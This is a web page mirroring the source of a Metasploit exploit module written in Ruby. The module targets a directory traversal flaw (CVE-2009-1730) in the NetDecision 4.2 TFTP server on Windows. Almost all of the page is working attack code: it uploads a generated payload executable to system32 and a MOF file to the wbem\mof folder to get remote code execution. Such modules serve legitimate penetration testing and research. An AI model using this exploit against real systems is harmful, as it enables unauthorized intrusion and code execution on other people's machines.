Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4class MetasploitModule < Msf::Exploit::Remote5Rank = ExcellentRanking67include Rex::Proto::TFTP8include Msf::Exploit::EXE9include Msf::Exploit::WbemExec1011def initialize(info={})12super(update_info(info,13'Name' => "NetDecision 4.2 TFTP Writable Directory Traversal Execution",14'Description' => %q{15This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The16software contains a directory traversal vulnerability that allows a remote attacker17to write arbitrary file to the file system, which results in code execution under18the context of user executing the TFTP Server.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Rob Kraus', # Vulnerability discovery24'juan vazquez' # Metasploit module25],26'References' =>27[28['CVE', '2009-1730'],29['OSVDB', '54607'],30['BID', '35002']31],32'Payload' =>33{34'BadChars' => "\x00",35},36'DefaultOptions' =>37{38'EXITFUNC' => 'thread'39},40'Platform' => 'win',41'Targets' =>42[43['NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2', {}]44],45'Privileged' => false,46'DisclosureDate' => '2009-05-16',47'DefaultTarget' => 0))4849register_options([50OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),51OptAddress.new('RHOST', [true, "The remote TFTP server address"]),52OptPort.new('RPORT', [true, "The remote TFTP server port", 69])53])54end5556def upload(filename, data)57tftp_client = Rex::Proto::TFTP::Client.new(58"LocalHost" => "0.0.0.0",59"LocalPort" => 1025 + rand(0xffff-1025),60"PeerHost" => datastore['RHOST'],61"PeerPort" => datastore['RPORT'],62"LocalFile" => "DATA:#{data}",63"RemoteFile" => filename,64"Mode" => "octet",65"Context" => {'Msf' => self.framework, "MsfExploit" => self },66"Action" => :upload67)6869ret = tftp_client.send_write_request { |msg| print_status(msg) }70while not tftp_client.complete71select(nil, nil, nil, 1)72tftp_client.stop73end74end7576def exploit77peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"7879# Setup the necessary files to do the wbemexec trick80exe_name = rand_text_alpha(rand(10)+5) + '.exe'81exe = generate_payload_exe82mof_name = rand_text_alpha(rand(10)+5) + '.mof'83mof = generate_mof(mof_name, exe_name)8485# Configure how deep we want to traverse86depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']87levels = "../" * depth8889# Upload the malicious executable to C:\Windows\System32\90print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")91upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)9293# Let the TFTP server idle a bit before sending another file94select(nil, nil, nil, 1)9596# Upload the mof file97print_status("#{peer} - Uploading .mof...")98upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)99end100end101102103